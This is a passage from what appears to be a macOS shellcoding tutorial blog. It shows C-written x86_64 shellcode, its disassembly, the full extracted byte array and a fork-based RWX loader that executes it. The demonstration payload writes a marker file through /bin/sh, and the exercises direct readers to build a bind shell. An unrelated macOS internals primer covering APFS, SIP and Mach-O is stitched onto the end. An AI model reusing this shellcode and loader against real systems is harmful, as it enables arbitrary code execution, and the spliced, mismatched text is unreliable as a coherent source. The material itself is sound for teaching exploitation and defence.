    my_execv((char *)&s_sh, argv);
    return 0;
}

Note: no <unistd.h> include at all — we don’t refer to the real execv by name anywhere, So there is nothing for the linker to resolve. Also keep our NULL-terminator discipline on argv from the previous posts — the compiler isn’t adding it for us here.

Compile and disassemble:

shellcoding % clang -arch x86_64 -c -fno-stack-protector shellcode_m2.c -o shellcode_m2.o
shellcoding % nm -u shellcode_m2.o
shellcoding % objdump --disassemble --x86-asm-syntax=intel shellcode_m2.o

shellcode_m2.o:	file format mach-o 64-bit x86-64

Disassembly of section __TEXT,__text:

0000000000000000 <_main>:
       0: 55                           	push	rbp
       1: 48 89 e5                     	mov	rbp, rsp
       4: 48 83 ec 70                  	sub	rsp, 0x70
       8: c7 45 fc 00 00 00 00         	mov	dword ptr [rbp - 0x4], 0x0
       f: 48 b8 88 77 66 55 44 33 22 11	movabs	rax, 0x1122334455667788
      19: 48 89 45 f0                  	mov	qword ptr [rbp - 0x10], rax
      1d: 48 b8 2f 62 69 6e 2f 73 68 00	movabs	rax, 0x68732f6e69622f
      27: 48 89 45 e8                  	mov	qword ptr [rbp - 0x18], rax
      2b: 48 c7 45 e0 2d 63 00 00      	mov	qword ptr [rbp - 0x20], 0x632d
      33: 48 b8 65 63 68 6f 20 22 57 30	movabs	rax, 0x305722206f686365
      3d: 48 89 45 b0                  	mov	qword ptr [rbp - 0x50], rax
      41: 48 b8 30 74 57 30 30 74 22 20	movabs	rax, 0x2022743030577430
      4b: 48 89 45 b8                  	mov	qword ptr [rbp - 0x48], rax
      4f: 48 b8 3e 20 2f 74 6d 70 2f 50	movabs	rax, 0x502f706d742f203e
      59: 48 89 45 c0                  	mov	qword ptr [rbp - 0x40], rax
      5d: 48 b8 77 6e 65 64 2e 74 78 74	movabs	rax, 0x7478742e64656e77
      67: 48 89 45 c8                  	mov	qword ptr [rbp - 0x38], rax
      6b: c6 45 d0 00                  	mov	byte ptr [rbp - 0x30], 0x0
      6f: 48 8d 45 e8                  	lea	rax, [rbp - 0x18]
      73: 48 89 45 90                  	mov	qword ptr [rbp - 0x70], rax
      77: 48 8d 45 e0                  	lea	rax, [rbp - 0x20]
      7b: 48 89 45 98                  	mov	qword ptr [rbp - 0x68], rax
      7f: 48 8d 45 b0                  	lea	rax, [rbp - 0x50]
      83: 48 89 45 a0                  	mov	qword ptr [rbp - 0x60], rax
      87: 48 c7 45 a8 00 00 00 00      	mov	qword ptr [rbp - 0x58], 0x0
      8f: 48 8b 45 f0                  	mov	rax, qword ptr [rbp - 0x10]
      93: 48 8d 75 90                  	lea	rsi, [rbp - 0x70]
      97: 48 8d 7d e8                  	lea	rdi, [rbp - 0x18]
      9b: ff d0                        	call	rax
      9d: 31 c0                        	xor	eax, eax
      9f: 48 83 c4 70                  	add	rsp, 0x70
      a3: 5d                           	pop	rbp
      a4: c3                           	ret

No __stubs, No [rip], nm -u silent — the call went through call rax, And the target address sits inside our code as the movabs rax, 0x1122334455667788 placeholder. Fully self-contained. Both problems solved — Now we just need a real address to patch in.

Hunting the Real Address at Runtime

Since functions in C are just memory addresses, We can simply print execv’s value from any running process:

/* getaddress.c — fetch execv's runtime address */
#include <unistd.h>
#include <stdio.h>

int main(void)
{
    printf("0x%lx\n", (unsigned long)execv);
}

shellcoding % clang -arch x86_64 getaddress.c -o getaddress
shellcoding % ./getaddress
0x7ff80c62a967
shellcoding % ./getaddress
0x7ff80c62a967
shellcoding % clang -arch x86_64 getaddress.c -o getaddress2
shellcoding % ./getaddress2
0x7ff80c62a967

Notice two things: the address is the same across different binaries and different runs — Cause libc lives in the shared cache, Which ASLR slides once per boot and then leaves alone. So 0x7ff80c62a967 is valid on this machine until the next reboot — This is exactly why Method 2 is a local exploitation technique: get code execution, Read the address, Ship the shellcode — All within the same boot.

Patch, Extract, Load

Now we replace the placeholder with the real address and rebuild:

    execv_t my_execv = (execv_t)0x7ff80c62a967;   /* fetched at runtime — valid until reboot */

Note: in a real exploitation scenario you wouldn’t hardcode it by hand either — Your first-stage code would resolve the address at runtime (parse the shared cache, Or simply read it from a process you already control) and write it into the placeholder before executing the blob. For the lab, Compiling it in is enough to prove the concept.

Let’s prove it twice — First as a linked binary, Then as real shellcode in our loader. Linked:

shellcoding % sed 's/0x1122334455667788/0x7ff80c62a967/' shellcode_m2.c > shellcode_m2_final.c
shellcoding % clang -arch x86_64 -fno-stack-protector shellcode_m2_final.c -o sc_m2
shellcoding % rm -f /tmp/Pwned.txt
shellcoding % ./sc_m2
shellcoding % echo $?
0
shellcoding % cat /tmp/Pwned.txt
W00tW00t

And now the full circle — extract the blob and feed it to our fork-based RWX loader:

shellcoding % clang -arch x86_64 -c -fno-stack-protector shellcode_m2_final.c -o shellcode_m2_final.o
shellcoding % segedit shellcode_m2_final.o -extract __TEXT __text sc_m2_bytes.bin
shellcoding % wc -c sc_m2_bytes.bin
     165 sc_m2_bytes.bin
shellcoding % xxd sc_m2_bytes.bin | head -3
00000000: 5548 89e5 4883 ec70 c745 fc00 0000 0048  UH..H..p.E.....H
00000010: b867 a962 0cf8 7f00 0048 8945 f048 b82f  .g.b.....H.E.H./
00000020: 6269 6e2f 7368 0048 8945 e848 c745 e02d  bin/sh.H.E.H.E.-

165 bytes — And look at offset 0x11: 67 a9 62 0c f8 7f 00 00 = our 0x7ff80c62a967 in little-endian, Baked into the blob. Generate the header (with xxd -i, Never by hand — more on that below), And load it with the same fork-based loader from Method 1:

shellcoding % xxd -i sc_m2_bytes.bin > sc_m2_bytes.h
shellcoding % clang -arch x86_64 -o cloader_m2 cloader_m2.c
shellcoding % rm -f /tmp/Pwned.txt
shellcoding % ./cloader_m2
[parent 95793] spawned child 95796, waiting...
[child 95796] executing shellcode (165 bytes)...
[parent] child exited with status 0
[parent] Success: '/tmp/Pwned.txt' exists.
shellcoding % cat /tmp/Pwned.txt
W00tW00t

Our C-written shellcode — calling libc through an address we hardcoded — Extracted, Loaded into an anonymous RWX page, And the file is there. Full circle, Method 2 edition.

Note: want the nasm route instead of the loader? Same conversion rules as our first post — drop the ptr keywords, Rename movabs to mov, Replace the placeholder with the real address — Then nasm -f macho64 + ld -lSystem -e _main and you have a standalone binary, Just like old times.

Warning: a story from the testing of this very post. On my first extraction run, I grabbed the bytes from the unpatched object — placeholder 0x1122334455667788 still baked in. The linked binary wasn’t tested, Straight to the loader — And the child died instantly: SIGSEGV, faulting address 0x0, RIP frozen on the call rax. That’s the classic signature of a general-protection fault: 0x1122334455667788 is a non-canonical address on x86_64 (bits above 47 are set wrong), So the CPU refuses the control transfer before it even starts. So if your Method 2 shellcode dies with si_addr = 0x0 right at the call — You forgot to patch the placeholder. The address hunt is not optional.

Method 1 vs Method 2

Execute shellcode

Now let’s do Method 1’s extraction in full detail — first prove the C shellcode runs as a normal binary, Then extract it and run it as real shellcode from a loader.

Stage 1 — run it linked. We link the object into an executable with our main as the entry point (ld wants the symbol name _main, which is exactly what our C main compiles to):

shellcoding % ld -o sc shellcode.o -L /Library/Developer/CommandLineTools/SDKs/MacOSX26.5.sdk/usr/lib -lSystem -e _main -platform_version macos 26.5 26.5
shellcoding % rm -f /tmp/Pwned.txt
shellcoding % ./sc
shellcoding % echo $?
0
shellcoding % ls -la /tmp/Pwned.txt
-rw-r--r--  1 zeyadazima.com  wheel  9 Sep 17 00:46 /tmp/Pwned.txt
shellcoding % cat /tmp/Pwned.txt
W00tW00t

The C shellcode runs and does its job. (-lSystem is only there because ld refuses to produce a dynamic executable without it — our object imports nothing from it.)

Stage 2 — extract the blob. Same pipeline as our x86_64 assembly post — objdump with Intel syntax, grab the hex bytes, convert:

shellcoding % objdump --disassemble --x86-asm-syntax=intel shellcode.o > sc.disasm
shellcoding % grep -E '^[[:space:]]+[0-9a-f]+:' sc.disasm \
  | awk '{for(i=2;i<=NF;i++) if ($i ~ /^[0-9a-f]{2}$/) printf "%s", $i}' \
  | tr -d '\n' > shellcode.hex
shellcoding % cat shellcode.hex 
554889e548b82f62696e2f736800488945f048c745f82d63000048b86563686f20225730488945c048b83074573030742220488945c848b83e202f746d702f50488945d048b8776e65642e747874488945d8c645e000488d7df048897da0488d45f8488945a8488d45c0488945b048c745b800000000488d75a0b83b00000231d20f05b80100000231ff31f631d20f050f0b
shellcoding % xxd -r -p shellcode.hex > shellcode.bin
shellcoding % wc -c shellcode.bin
     146 shellcode.bin // 146 bytes

146 bytes of shellcode, written in C. And since we’re on x86_64, the otool cross-check matches byte-for-byte:

shellcoding % otool -s __TEXT __text shellcode.o | sed -n '3,$p' \
  | awk '{ for(i=2;i<=NF;i++) printf "%s",$i } END{ print "" }' \
  | xxd -r -p | cmp - shellcode.bin && echo IDENTICAL
IDENTICAL
shellcoding % xxd shellcode.bin | head -2
00000000: 5548 89e5 48b8 2f62 696e 2f73 6800 4889  UH..H./bin/sh.H.
00000010: 45f0 48c7 45f8 2d63 0000 48b8 6563 686f  E.H.E.-c..H.echo

You can even see /bin/sh and echo sitting in the dump — our stack-built strings as movabs immediates.

Note: whatever you do, do not hand-type the byte array into the loader. During the testing of this very post, a hand-copied array turned out to be 154 bytes instead of 146 with corruption starting at offset 36 — and the “mysteriously crashing” loader cost us a debugging session that ended at cmp between two arrays. Always xxd -i shellcode.bin > shellcode.h and #include it. The machine is better at copying 146 bytes than you are, Accept it.

Generate the C array the right way:

shellcoding % xxd -i shellcode.bin > shellcode.h
shellcoding % cat shellcode.h
unsigned char shellcode_bin[] = {
  0x55, 0x48, 0x89, 0xe5, 0x48, 0xb8, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73,
  0x68, 0x00, 0x48, 0x89, 0x45, 0xf0, 0x48, 0xc7, 0x45, 0xf8, 0x2d, 0x63,
  0x00, 0x00, 0x48, 0xb8, 0x65, 0x63, 0x68, 0x6f, 0x20, 0x22, 0x57, 0x30,
  0x30, 0x74, 0x57, 0x30, 0x30, 0x74, 0x22, 0x20, 0x48, 0x89, 0x45, 0xc0,
  0x48, 0xb8, 0x30, 0x74, 0x57, 0x30, 0x30, 0x74, 0x22, 0x20, 0x48, 0x89,
  0x45, 0xc8, 0x48, 0xb8, 0x3e, 0x20, 0x2f, 0x74, 0x6d, 0x70, 0x2f, 0x50,
  0x48, 0x89, 0x45, 0xd0, 0x48, 0xb8, 0x77, 0x6e, 0x65, 0x64, 0x2e, 0x74,
  0x78, 0x74, 0x48, 0x89, 0x45, 0xd8, 0xc6, 0x45, 0xe0, 0x00, 0x48, 0x8d,
  0x7d, 0xf0, 0x48, 0x89, 0x45, 0xa0, 0x48, 0x8d, 0x45, 0xf8, 0x48, 0x89,
  0x45, 0xa8, 0x48, 0x8d, 0x45, 0xc0, 0x48, 0x89, 0x45, 0xb0, 0x48, 0xc7,
  0x45, 0xb8, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x75, 0xa0, 0xb8, 0x3b,
  0x00, 0x00, 0x02, 0x31, 0xd2, 0x0f, 0x05, 0xb8, 0x01, 0x00, 0x00, 0x02,
  0x31, 0xff, 0x31, 0xf6, 0x31, 0xd2, 0x0f, 0x05, 0x0f, 0x0b
};
unsigned int shellcode_bin_len = 146;

Stage 3 — the loader. The same fork-based loader from our x86_64 assembly post — mmap an RWX page (allowed on Intel, remember our ARM64 post where Apple Silicon said no), copy the blob, cast, call, And the parent checks the side-effect. This time we #include the generated header instead of pasting bytes — lesson learned:

#include <stdio.h>
#include <sys/mman.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <sys/wait.h>
#include <stdlib.h>
#include "shellcode.h"   /* generated by: xxd -i shellcode.bin > shellcode.h */

int main(void) {
    unsigned char *code = shellcode_bin;
    size_t len = shellcode_bin_len;

    pid_t pid = fork();
    if (pid < 0) {
        perror("fork");
        return 1;
    }

    if (pid == 0) {
        // child: allocate RWX, copy shellcode and execute
        void *exec = mmap(NULL, len, PROT_READ|PROT_WRITE|PROT_EXEC,
                          MAP_ANON|MAP_PRIVATE, -1, 0);
        if (exec == MAP_FAILED) {
            perror("mmap");
            _exit(127);
        }
        memcpy(exec, code, len);

        int (*func)() = (int(*)())exec;
        int r = func();   // if shellcode calls execve, child will be replaced
        _exit(r & 0xFF);
    } else {
        // parent: wait for child and then check side-effect
        int status = 0;
        printf("[parent %d] spawned child %d, waiting...\n", getpid(), pid);
        fflush(stdout);

        if (waitpid(pid, &status, 0) == -1) {
            perror("waitpid");
            return 2;
        }

        if (WIFEXITED(status)) {
            printf("[parent] child exited with status %d\n", WEXITSTATUS(status));
        } else if (WIFSIGNALED(status)) {
            printf("[parent] child killed by signal %d\n", WTERMSIG(status));
        }

        usleep(200000);

        const char *check_path = "/tmp/Pwned.txt";
        if (access(check_path, F_OK) == 0) {
            printf("[parent] Success: '%s' exists.\n", check_path);
            return 0;
        } else {
            printf("[parent] Failure: '%s' not found (errno=%d: %s)\n",
                   check_path, errno, strerror(errno));
            return 3;
        }
    }
}

Compile and fire:

shellcoding % clang -arch x86_64 -o cloader cloader.c
shellcoding % rm -f /tmp/Pwned.txt
shellcoding % ./cloader 
[parent 90000] spawned child 90001, waiting...
[child 90001] executing shellcode (146 bytes)...
[parent] child exited with status 0
[parent] Success: '/tmp/Pwned.txt' exists.
shellcoding % cat /tmp/Pwned.txt 
W00tW00t

Our C-written shellcode, extracted from the compiler’s output, Executed from an anonymous RWX page — And the file is there. Full circle.

Conclusion

We closed the loop on our macOS shellcoding series: instead of hand-writing assembly, We wrote our shellcode in C and made the compiler produce it for us — On the same x86_64 Intel Mac, With Apple clang — Using two methods, Cooking the same W00tW00t payload both times. Method 1 eliminated the compiler’s bad habits entirely: RIP-relative addressing, outsourced libc calls, stack protector, relocations — neutralized with stack-built immediate strings, inline-assembly syscall wrappers, And the exact compile recipe -O2 -ffreestanding -fno-stack-protector -fno-builtin, Verified by the silent trio (nm -u, grep rip, otool -r) — Producing a 146-byte, reloc-free, syscall-only blob that runs anywhere, Any boot. Method 2 embraced libc through function-pointer placeholders — typedef + cast + call rax — Patched with the real shared-cache address read at runtime, Which makes it position-dependent (dies on reboot) But perfect for local exploitation, And blazing fast to develop. We also collected two bonus lessons the hard way: modern clang folds the classic char-array trick back into rip-dependent literals (element-wise assignments and u64 immediates are the cure), A never hand-copy shellcode bytes into a C array — let xxd -i do it. The same workflows port straight to ARM64 from our previous post — same rules, Different immediate sizes (movz/movk instead of movabs) and svc #0x80 instead of syscall. This foundation sets the stage for more advanced topics.

Exercises

If you want to flex both methods, Here are two challenges:

• Method 1: Recreate the BindShell from our x86_64 assembly post — But in C, Syscall-only, Using the sc3/sc4 inline-assembly wrappers. Remember the BSD syscall numbers for socket = 97, bind = 104, listen = 106, accept = 30, dup2 = 90 (verify them in syscalls.master!), And that the 4th+ syscall arguments travel in R10 — Extend your wrapper accordingly.
• Method 2: Take the same BindShell C code from our x86_64 post (the one with socket(), bind(), listen(), accept() and the dup2 loop) — And apply the Method 2 treatment: replace every libc call with a function-pointer placeholder, Build every string with immediates, Fetch the real addresses at runtime with a getaddress-style helper, Then patch, Extract, And load it. Compare the effort with the Method 1 version and you’ll see exactly why this technique exists — And remember: the moment your Mac reboots, All those beautiful addresses turn into pumpkins.

Help ?

If you got any questions or need help, You can contact me:

• Linkedin
• Twitter/X
• Email: contact@zeyadazima.com
• Discord: .killer_1337 including .

References

• https://github.com/Zeyad-Azima/macOShellcoding
• https://opensource.apple.com/releases/
• https://github.com/apple-oss-distributions/xnu
• https://codebrowser.dev/
• https://man.freebsd.org/
• https://pubs.opengroup.org
• https://developer.apple.com/documentation/xcode/writing-arm64-code-for-apple-platforms
• https://newosxbook.com

Introduction

1. Application Layer

• AppKit: Facilitates the creation of desktop application interfaces, handling events, drawing operations, and user interface elements like buttons and text fields. For example, when you create a new document in TextEdit, AppKit is responsible for displaying the window, text editing area, and menu options.
• Notification Center: Manages the centralized delivery of notifications to the user. For example, when you receive a new email, Notification Center displays a pop-up message or updates an icon badge.
• Siri: Allows voice interaction with applications and system functions. For example, you can ask Siri to send a message, set reminders, or launch applications.
• Sharing & Full Screen: Supports easy content sharing to other applications or services and manages applications in full-screen mode. For example, using the Share button in Safari to post a webpage link to Twitter.
• Auto Layout: Dynamically calculates the size and position of all the views in your window based on constraints. For example, ensuring a button stays at the bottom right corner of a window, regardless of window size changes.
• Popovers & Configuration: Handles transient views that appear above other content, and manages application configurations. For example, a settings popover in Mail that allows adjusting mail sorting preferences.

2. Media Layer

• AV Foundation: Manages and plays audio-visual media. For example, playing a video file in QuickTime Player.
• Core Animation: Provides fluid animation for user interface elements. For example, smooth transitions when you minimize a window or open Mission Control.
• Core Audio: Handles audio operations system-wide. For example, managing audio streams and volume control across all running applications.
• Core Image: Used for high-performance image processing, which allows quick filtering and effects in applications like Photos.
• Core Text: Manages text layout and font rendering; crucial for reading and editing text in any app that displays large amounts of text.
• Metal: Optimizes graphics and compute operations by leveraging the GPU. For example, accelerating graphics rendering in games or graphical applications.

3. Core Services

• Address Book: Stores and retrieves user contact information. For example, when a user saves a new contact in the Contacts app, it is stored in the Address Book database.
• Core Foundation: Provides fundamental data types and collections, like strings and arrays, crucial for app development. For example, managing data structures in any app.
• Quick Look: Allows users to preview documents or images quickly without opening them in a dedicated app, like previewing PDF files in Finder.
• Social: Provides frameworks to integrate with social media platforms. For example, sharing images directly from Preview to Facebook.
• Webkit: Powers the Safari browser; handles HTML content rendering and JavaScript execution.

4. Core OS

• Accelerate: Optimizes large-scale mathematical computations, improving performance in scientific and financial software.
• Directory Services: Manages user accounts and permissions. For example, when logging in, Directory Services verifies user credentials.
• Disk Arbitration: Manages access to disk volumes to prevent file system corruption. For example, it ensures that a disk is not ejected while files are being written to it.

5. Kernel & Device Drivers

• BSD: Provides networking, security, and file system support. For example, BSD sockets are used for network communication in apps like Mail and Safari.
• Mach: The core around which macOS is built, handling low-level tasks like memory management and process scheduling. For example, Mach allocates memory when you open an app and schedules CPU time for it to run.
• Networking & Security: Includes components that handle secure network communications and data encryption. For example, establishing encrypted connections over Wi-Fi.
• File System Management: The file system manages the storage of data in an organized manner so that it can be easily accessed, modified, and managed. It handles operations such as reading, writing, creating, and deleting files and directories.

System Directories

POSIX Directories

• /bin, /usr/bin: Contains essential user-executable binaries like shell commands and utilities.
• /sbin, /usr/sbin: Holds system administration binaries essential for system maintenance and operations.
• /usr/lib: Stores dynamic libraries (.dylibs) that provide functionality for multiple applications.
• /tmp: A temporary directory, cleared at reboot, with a sticky bit set to prevent deletion of files by non-owners.
• /var: Includes logs, configuration files, and user-specific temporary files. Root’s home directory is /var/root.

macOS Directories

• /Applications: Standard location for user-installed applications accessible to all users.
• /System: Contains macOS’s core components, like system files and libraries, protected by System Integrity Protection (SIP).
• /Users: Home directories for all users, with personal files, settings, and documents.
• /Library: Stores system-wide application support files and libraries.
• /System/Applications and /System/Cryptexes/App/System/Applications: Host core system applications, with certain apps in a secure cryptex for added security.

Launch Agents and Daemons

• /System/Library/LaunchDaemons, /System/Library/LaunchAgents: System-level agents and daemons that execute automatically.
• /Library/LaunchDaemons, /Library/LaunchAgents: For third-party daemons and agents that run at startup or login.
• ~/Library/LaunchAgents: User-specific agents that auto-run at user login.

Application Data and Support

• /Library/Application Support: Contains application support files and data for applications running as root.
• ~/Library/Application Support: User-specific application support files and data.
• ~/Library/Containers: Sandboxed applications are stored here, with strict filesystem access limitations.

Frameworks and Extensions

• /System/Library/Frameworks, /System/Cryptexes/OS/System/Library/Frameworks: Home to system frameworks used by applications.
• /System/Library/PrivateFrameworks, /System/Cryptexes/OS/System/Library/PrivateFrameworks: Contains private frameworks not for public use, restricted from Mac App Store applications.
• /Library/Extensions, /System/Library/Extensions: Locations for kernel extensions (KEXTs), including third-party extensions.

Special and Security Directories

• /Library/PrivilegedHelperTools: Where third-party daemons that need root privileges reside.
• /usr/bin, /usr/sbin, /bin, /sbin: Core system binaries for both user commands and system administration.
• /private: Contains sensitive directories such as /private/etc, /private/var, and /private/tmp that manage configuration, variable data, and temporary files.

Kernel and Kernel Extensions

• /System/Library/Kernels/kernel: The location of the macOS kernel.
• /System/Library/Extensions, /System/Cryptexes/OS/System/Library/Extensions: Directories for Apple’s kernel extensions.

Apple Properity File System (APFS)

The Apple File System (APFS) is an advanced file system introduced by Apple with macOS High Sierra in 2017. It was designed to replace the older Hierarchical File System Plus (HFS+) to better accommodate the modern storage technologies and to enhance performance, reliability, and scalability. APFS operates on the concept of containers and volumes. A single APFS container can house multiple volumes that share the container’s free space. Volumes under APFS are flexible and can grow and shrink dynamically, unlike traditional partitions. This adaptability is crucial for devices with limited storage capacities like mobile devices.

• Check disk:

diskutil list

• Output:

/dev/disk0 (internal, physical):
   #:                       TYPE NAME                    SIZE       IDENTIFIER
   0:      GUID_partition_scheme                        *500.3 GB   disk0
   1:                        EFI EFI                     209.7 MB   disk0s1
   2:                 Apple_APFS Container disk1         500.1 GB   disk0s2

/dev/disk1 (synthesized):
   #:                       TYPE NAME                    SIZE       IDENTIFIER
   0:      APFS Container Scheme -                      +500.1 GB   disk1
                                 Physical Store disk0s2
   1:                APFS Volume Macintosh HD            250.4 GB   disk1s1
   2:                APFS Volume Preboot                 20.5 MB    disk1s2
   3:                APFS Volume Recovery                1.0 GB     disk1s3
   4:                APFS Volume VM                      20.5 GB    disk1s4

• /dev/disk0: This represents the physical disk. disk0 is usually the primary hard drive.
  • GUID_partition_scheme: The partition layout used, suitable for both Intel-based and ARM-based Macs.
  • EFI: A small partition that contains boot files.
  • Apple_APFS Container disk1: An APFS container that spans nearly the entire disk.
• /dev/disk1 (synthesized): This is the APFS container synthesized view, showing volumes within the container.
  • APFS Container Scheme: Shows that disk1 is an APFS container.
  • Physical Store disk0s2: Indicates that this container is located on disk0s2.
  • APFS Volumes (Macintosh HD, Preboot, Recovery, VM): These are logical volumes within the APFS container, each serving different purposes like system storage, boot management, system recovery, and virtual memory respectively.

System Volume Protection

macOS leverages several robust mechanisms to safeguard its core system files, primarily through System Integrity Protection (SIP), also known as rootless mode. SIP’s primary function is to prevent modifications to crucial system files and directories, even by the superuser (root).

System Volume Protections in macOS

macOS employs robust mechanisms like System Integrity Protection (SIP), also known as rootless mode, to protect its core system files. SIP’s primary role is to prevent unauthorized modifications to critical system files and directories, even by the superuser (root).

Using ls with SIP Protection Flags

Using the ls -lO command can reveal which directories are protected by SIP:

• Check directories are protected by SIP:

• user@mac ~ % ls -lO /
  

Output:

total 0
drwx------  10 root  wheel  restricted,hidden 320 Oct 18 05:36 System
drwxr-xr-x  39 root  wheel  restricted,hidden 1248 Oct 18 05:36 bin
drwxr-xr-x  65 root  wheel  sunlnk            2080 Dec  2 03:26 Library
drwxr-xr-x  14 root  admin  sunlnk             448 Dec  5 08:28 Applications
drwxr-xr-x   5 root  admin  sunlnk             160 Dec  2 02:40 Users
drwxr-xr-x   4 root  wheel  hidden             128 Dec 12 03:34 Volumes

The restricted flag denotes that the directory is protected under SIP, preventing any modifications. The sunlnk and hidden flags indicate directories with special attributes but not necessarily SIP protection.

Using diskutil to Explore APFS Configurations

Command:

diskutil apfs list

Output:

APFS Container (1 found)
|
+-- Container disk1
    APFS Container Reference:     disk1
    Size (Capacity Ceiling):      500 GB
    Capacity In Use By Volumes:   150 GB (30% used)
    Capacity Not Allocated:       350 GB (70% free)
    |
    +-> Volume disk1s1
        Name:                      Macintosh HD - Data
        Role:                      Data
        Mount Point:               /System/Volumes/Data
        Capacity Consumed:         100 GB
        FileVault:                 No
    |
    +-> Volume disk1s2
        Name:                      Preboot
        Role:                      Preboot
        Mount Point:               /System/Volumes/Preboot
        Capacity Consumed:         2 GB
    |
    +-> Volume disk1s4
        Name:                      Macintosh HD
        Role:                      System
        Mount Point:               Not Mounted
        Capacity Consumed:         11 GB
        Sealed:                    Yes

• Data Volume: User-accessible files, non-critical system files.
• System Volume: Core system files, not mounted directly but

Verifying System Integrity and Cryptographic Seals

macOS further secures system integrity through cryptographic seals, which can be checked using csrutil:

Command:

csrutil authenticated-root status

Output:

Authenticated Root status: enabled

This confirms that the system’s root volume is cryptographically authenticated, ensuring that the core system files are untouched and secure from alterations.

Mounted File System Attributes

Command:

user@mac ~ % mount

Output:

/dev/disk1s4s1 on / (apfs, sealed, local, read-only, journaled)
devfs on /dev (devfs, local, nobrowse)
/dev/disk1s2 on /System/Volumes/Preboot (apfs, local, journaled, nobrowse)
/dev/disk1s6 on /System/Volumes/VM (apfs, local, noexec, journaled, noatime, nobrowse)
/dev/disk1s5 on /System/Volumes/Update (apfs, local, journaled, nobrowse)
/dev/disk1s1 on /System/Volumes/Data (apfs, local, journaled, nobrowse)
map auto_home on /System/Volumes/Data/home (autofs, automounted, nobrowse)
.host:/VMware Shared Folders on /Volumes/VMware Shared Folders (vmhgfs)

• Sealed: The system volume is cryptographically sealed to prevent tampering.
• Read-only: The root volume is mounted as read-only to ensure no changes can be made during normal operation, reinforcing its integrity.
• Journaled: This attribute helps protect the integrity of the file system by keeping a continuous log (journal) that tracks changes to the file system.

Cryptexes: CRYPTographically-sealed EXtensions

Introduced in macOS Ventura, Cryptexes represent a novel approach to handling system updates and security Cryptexes are signed disk images that contain system files or applications and can be updated independently of the system.

Command Checking Cryptexes:

user@mac ~ % ls -l /System/Cryptexes

Output:

lrwxr-xr-x  1 root  wheel  42 Oct 18 05:36 App -> ../../System/Volumes/Preboot/Cryptexes/App
lrwxr-xr-x@ 1 root  wheel  41 Oct 18 05:36 OS -> ../../System/Volumes/Preboot/Cryptexes/OS

These links show that Cryptexes are not traditionally mounted within the regular file system structure visible to the user, highlighting their specialized role and enhanced security measures.

Firmlinks

Firmlinks are a special type of symbolic link used by macOS to seamlessly integrate the read-only system volume with the writable data volume. This allows the operating system to maintain a clear separation between system files (which need to be protected from modifications to ensure system integrity) and user data (which needs to be freely writable by the user).

• Check Firmlinks:

cat /usr/share/firmlinks

• Output

  /AppleInternal	AppleInternal
  /Applications	Applications
  /Library	Library
  /System/Library/Caches	System/Library/Caches
  /System/Library/Assets	System/Library/Assets
  /System/Library/PreinstalledAssets	System/Library/PreinstalledAssets
  /System/Library/AssetsV2	System/Library/AssetsV2
  /System/Library/PreinstalledAssetsV2	System/Library/PreinstalledAssetsV2
  /System/Library/CoreServices/CoreTypes.bundle/Contents/Library	System/Library/CoreServices/CoreTypes.bundle/Contents/Library
  /System/Library/Speech	System/Library/Speech
  /Users	Users
  /Volumes	Volumes
  /cores	cores
  /opt	opt
  /private	private
  /usr/local	usr/local
  /usr/libexec/cups	usr/libexec/cups
  /usr/share/snmp	usr/share/snmp
  

On the left is the directory path on the System volume, and on the right, Is the directory path where it maps on the Data volume.

• Confirm directory with inode:

On System volume
ls -li /System/Volumes/Data/usr/

18524916 drwxr-xr-x  4 root  wheel  128 Feb  5 16:51 local
inode -> 18524916
On the data volume
ls -li /usr

18524916 drwxr-xr-x    4 root  wheel    128 Feb  5 16:51 local
inode -> 18524916

PLIST Files

Convert Binary plist:

Convert to xml
plutil -convert xml1 ~/your_plist_binary -o -

Convert to json
plutil -convert json ~/Library/Preferences/com.apple.screensaver.plist -o -

Convert to swift
plutil -convert swift ~/Library/Preferences/com.apple.screensaver.plist -o -

Convert to objective-c
plutil -convert objc ~/Library/Preferences/com.apple.screensaver.plist -o -

Bundles

Bundles are .app bundle, but many other executables are also packaged as bundles, such as .framework and .systemextension.

Dyld

Extract dyld-cache:

dyld-shared-cache-extractor /System/Volumes/Preboot/Cryptexes/OS/System/Library/dyld/dyld_shared_cache_{arch} /tmp/libraries

Mach-O File Format

The main 3 parts of Mach-o Fiel format:

Introduction

The Mach-O file format is the native executable format for macOS and iOS operating systems. Standing for Mach Object, the Mach-O format supports executable files, shared libraries, dynamically-loaded libraries, and object code for macOS. The design of this file format is heavily influenced by its focus on performance and the compatibility with the Mach kernel, which is part of the XNU kernel that powers Apple’s operating systems.

• Check File:

zeyad@azima% file /bin/pwd
/bin/pwd: Mach-O universal binary with 2 architectures: [x86_64:Mach-O 64-bit executable x86_64] [arm64e:Mach-O 64-bit executable arm64e]
/bin/pwd (for architecture x86_64):	Mach-O 64-bit executable x86_64
/bin/pwd (for architecture arm64e):	Mach-O 64-bit executable arm64e

Universal Binaries

Universal binaries, also known as fat binaries, are unique to the Mach-O format. These binaries contain code for multiple architectures (like x86_64 and ARM) in a single file. This capability allows developers to build applications that can run on different types of hardware without the need for separate executables. The structure of a universal binary is essentially a container that includes multiple Mach-O files, each optimized for a specific processor architecture.

Mach-O Header

The Mach-O header is the starting point of any Mach-O file. It contains essential metadata about the file, such as the type of file (executable, object file, shared library), its architecture (ARM, x86_64, etc.), and the number of load commands. The header plays a crucial role in how the operating system processes and handles the Mach-O file during loading and execution. Dump the Mach-O Header information using otool

otool -arch {x86_64/arm64e} -hv /path_to_binary

Mach-O LOAD Command

Load commands within a Mach-O file instruct the loader on how to map the file’s contents into memory. These commands are vital for the dynamic linker to resolve symbols and connect dynamic libraries at runtime. Typical load commands include specifying the entry point of the executable, required dynamic libraries, and segment information such as the location and permissions of different sections of the file, There are around 50 type of load commands, But the most common ones:

1. LC_SEGMENT_64: This command is used to define a segment of memory that includes one or more sections. Each segment can contain executable code, data, or other resources needed by the executable or library. This command is specifically for 64-bit architectures.

2. LC_LOAD_DYLINKER: This command specifies the dynamic linker (dyld) that the system uses to load and link the shared libraries required by the executable at runtime. This is essential for resolving the dynamic dependencies of the application.

3. LC_MAIN: Introduced with the newer Mach-O file formats, this command points to the entry point of the main function, replacing the older entry point mechanism used in earlier versions. It specifies where the execution of the program begins.

4. LC_LOAD_DYLIB: This command provides the paths to the dynamic libraries (dylibs) that the executable depends on. These libraries are loaded by the dynamic linker during the execution of the application.

5. LC_CODE_SIGNATURE: This command contains the offset and size of the code signature used by the operating system to verify the integrity and origin of the code in the Mach-O file. This is crucial for security purposes, ensuring that the code has not been tampered with.

